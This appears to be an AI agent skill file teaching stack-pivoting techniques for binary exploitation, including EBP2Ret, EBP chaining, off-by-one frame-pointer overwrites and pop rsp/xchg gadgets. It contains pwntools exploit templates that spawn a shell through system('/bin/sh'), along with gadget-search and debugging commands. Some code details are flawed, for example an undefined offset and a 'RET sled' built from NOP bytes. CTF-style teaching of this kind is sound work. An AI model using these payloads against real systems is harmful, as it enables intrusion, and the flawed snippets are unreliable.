| name | stack-pivoting-exploitation |
| description | How to exploit stack pivoting vulnerabilities using EBP2Ret, EBP chaining, and other pivot gadgets. Use this skill whenever the user mentions stack pivoting, EBP/RBP manipulation, leave;ret gadgets, pop rsp gadgets, xchg gadgets, or needs to control RSP/ESP in binary exploitation. Also use when dealing with off-by-one vulnerabilities that can modify saved frame pointers, or when standard ROP isn't available but you can control the frame pointer. Make sure to use this skill for any binary exploitation task involving stack pointer manipulation, function epilogue exploitation, or when you need to redirect execution flow through the frame pointer. |
Stack Pivoting Exploitation
This skill helps you exploit stack pivoting vulnerabilities by manipulating the Base Pointer (EBP/RBP) to control execution flow through function epilogues.
When to Use This Skill
Use this skill when:
- You can control the saved EBP/RBP but not EIP/RIP directly
- You have an off-by-one vulnerability affecting the frame pointer
- You need to pivot the stack pointer to attacker-controlled memory
- Standard ROP chains aren't available but pivot gadgets exist
- You're working with function epilogues containing
leave; ret or similar
- You need to chain multiple function calls through fake frame pointers
Core Concepts
The leave; ret Pattern
On x86/x86-64, leave is equivalent to:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
The saved EBP/RBP sits on the stack before the saved EIP/RIP. By controlling EBP, you can indirectly control where RSP points after leave, and thus control the return address.
Key Insight
You need to know two addresses:
- Where RSP will point after
leave (your controlled memory location)
- The value at that location that
ret will consume (your target address)
Finding Pivot Gadgets
Using Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
ropper --file ./vuln --search "add rsp,"
Using ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Common Pivot Gadgets to Search For
leave ; ret - Classic frame pointer pivot
pop rsp ; ret - Direct stack pointer control
xchg rax, rsp ; ret - Swap register with stack pointer
add rsp, <imm> ; ret - Increment stack pointer
mov rsp, <reg> ; ret - Move register to stack pointer
EBP2Ret Technique
When It Works
- You can write to the saved EBP/RBP location
- The function uses frame pointers (not optimized away)
- You have a writable memory region to stage your payload
Exploit Construction Steps
- Find a writable address where you can place your payload
- Craft the fake EBP to point to your writable region + offset (8 bytes on x86-64, 4 bytes on x86 for the
pop rbp)
- Stage your payload at the writable address:
- First 8/4 bytes: junk or second fake EBP (consumed by
pop rbp)
- Next 8/4 bytes: your target address (consumed by
ret)
- Overflow to overwrite saved EBP with your fake EBP
- When function returns,
leave sets RSP to your fake EBP, pop rbp consumes the first value, ret jumps to your target
Payload Structure (x86-64)
[Writable Memory Location]
├── 0x00-0x07: Junk or second fake EBP (pop rbp)
├── 0x08-0x0F: Target address (ret)
└── 0x10+: Additional ROP chain or arguments
Example: Calling system("/bin/sh")
from pwn import *
elf = context.binary = ELF('./vuln')
context.arch = 'amd64'
SYSTEM = elf.sym['system']
BINSH = next(elf.search(b'/bin/sh'))
LEAVE_RET = 0x40117c
WRITABLE_ADDR = 0x601000
payload_at_writable = flat(
0x0,
SYSTEM,
0x0,
BINSH
)
payload = b'A' * offset_to_saved_rbp
payload += flat(
WRITABLE_ADDR + 0x8,
LEAVE_RET
)
p.sendline(payload)
EBP Chaining
Concept
Chain multiple fake EBPs to control execution flow through multiple function calls:
[Controlled Memory]
├── Fake EBP 1
├── &system()
├── &leave;ret
├── &"/bin/sh"
├── Fake EBP 2
├── &exit()
└── ...
When to Use
- You need to call multiple functions in sequence
- You have limited write primitives
- You want to maintain control after each function returns
Example with Stack Leak
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0,
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A')
payload += flat(
buffer,
LEAVE_RET
)
p.sendline(payload)
Off-By-One Variant
When It Applies
- You can only modify the least significant byte of saved EBP/RBP
- The target memory location shares the first 3/5 bytes with original EBP/RBP
Strategy
- Find a writable region near the original EBP (same page or nearby aligned region)
- Use a RET sled to increase hit probability
- Place the real ROP chain at the end of the sled
- Modify the low byte to jump into the sled
Example
RET_SLED = b'\x90' * 256
ROP_CHAIN = flat(SYSTEM, 0, BINSH)
payload_at_target = RET_SLED + ROP_CHAIN
payload = b'A' * offset_to_saved_rbp
payload += b'\x00' * 7
payload += b'\xff'
Alternative Pivot Gadgets
pop rsp Gadget
POP_CHAIN = 0x401225
payload = flat(
0,
0,
0,
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(104, b'A')
payload += flat(
POP_CHAIN,
buffer
)
xchg , rsp Gadget
[Stack Layout]
├── Return address (to xchg gadget)
├── Register value (where RSP should point)
└── [Register value] <- RSP will point here after xchg
XCHG_RAX_RSP = 0x401230
payload = flat(
XCHG_RAX_RSP,
WRITABLE_ADDR
)
Architecture-Specific Considerations
x86-64 (amd64)
- 16-byte stack alignment required before
call instructions
- Add alignment gadget if needed:
ret or sub rsp, 8; ret
- Use
pop rdi for first argument, pop rsi for second, etc.
payload = flat(
POP_RDI,
BINSH,
0x0,
SYSTEM
)
x86 (32-bit)
- Arguments passed on stack (right-to-left)
- No 16-byte alignment requirement
- Use
push gadgets or direct stack layout
payload = flat(
BINSH,
SYSTEM
)
ARM64
ARM64 works differently:
RET returns to x30, not SP
- Prologue/epilogue don't store/retrieve SP from stack
- Need to control both SP and x30
Prologue:
sub sp, sp, 16
stp x29, x30, [sp] # [sp] = x29; [sp+8] = x30
mov x29, sp
Epilogue:
ldp x29, x30, [sp] # x29 = [sp]; x30 = [sp+8]
add sp, sp, 16
ret # Returns to x30
ARM64 Strategy:
- Control SP through some other means (overflow, register leak)
- Abuse epilogue to load x30 from controlled SP
- RET to the controlled x30 value
Modern Mitigations
CET Shadow Stack (SHSTK)
Problem: CET compares return addresses on normal stack with hardware-protected shadow stack. Mismatch = crash.
Impact: EBP2Ret and leave;ret pivots will crash on first ret from pivoted stack.
Checking for CET/SHSTK
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
grep -E 'user_shstk|ibt' /proc/cpuinfo
grep -E 'x86_Thread_features' /proc/$$/status
(gdb) checksec
Workarounds (if SHSTK is present)
- JOP (Jump-Oriented Programming)
- COOP (Call-Oriented Oriented Programming)
- SROP (Sigreturn-Oriented Programming)
- Avoid
ret-based pivots entirely
Windows CET
- Windows 10+: User-mode CET
- Windows 11+: Kernel-mode Hardware-enforced Stack Protection
- Developers opt-in via CETCOMPAT
- Same impact:
ret-based pivots fail
Frame Pointer Omission
Problem
Optimized binaries may omit frame pointers:
# With frame pointer:
push %ebp
mov %esp,%ebp
...
leave
ret
# Without frame pointer (optimized):
push %ebx
sub $0x100,%esp
...
add $0x10c,%esp
pop %ebx
ret
Detection
readelf -p .comment ./binary
objdump -d ./binary | grep -A 20 '<function_name>'
If Frame Pointer is Omitted
- EBP2Ret won't work
- Look for alternative pivot gadgets:
pop rsp; ret
xchg rax, rsp; ret
add rsp, <imm>; ret
Classic Pivot Staging Pattern
A robust strategy for many CTFs/exploits:
- Initial overflow → Call
read/recv into large writable region
- Stage full ROP chain in
.bss, heap, or mapped RW memory
- Return to pivot gadget → Move RSP to staged region
- Continue with chain → Leak libc, call
mprotect, read shellcode, jump
payload1 = b'A' * offset + flat(
POP_RDI,
BSS_ADDR,
POP_RSI,
0x100,
READ_ADDR
)
rop_chain = flat(
POP_RDI,
BINSH,
SYSTEM
)
payload2 = b'B' * offset + flat(
LEAVE_RET,
BSS_ADDR + 0x8
)
Debugging Tips
In GDB/Pwndbg
# Set breakpoint at vulnerable function
break *0x401234
# Examine stack
x/20gx $rsp
# Check frame pointer
info frame
# After overflow, check saved RBP
x/10gx $rbp
# Single step through epilogue
stepi
# Watch RSP changes
display/1gx $rsp
Common Issues
- Wrong offset → Check with cyclic pattern
- Alignment issues → Add padding before
call
- Frame pointer omitted → Use alternative gadgets
- CET enabled → Pivot won't work, try SROP/JOP
- Wrong architecture → Adjust for x86 vs x86-64 vs ARM64
Quick Reference
| Gadget | Use Case | Stack Layout |
|---|
leave; ret | Classic EBP pivot | [fake EBP][target addr] |
pop rsp; ret | Direct RSP control | [new RSP value] |
xchg rax, rsp; ret | Swap register with RSP | [rax value] |
add rsp, 8; ret | Increment RSP | - |
mov rsp, rdi; ret | Move register to RSP | - |
Next Steps
After successful pivot:
- Leak addresses if PIE is enabled
- Call mprotect to make memory executable
- Read shellcode into executable memory
- Jump to shellcode or continue ROP chain
- Maintain alignment throughout the chain
References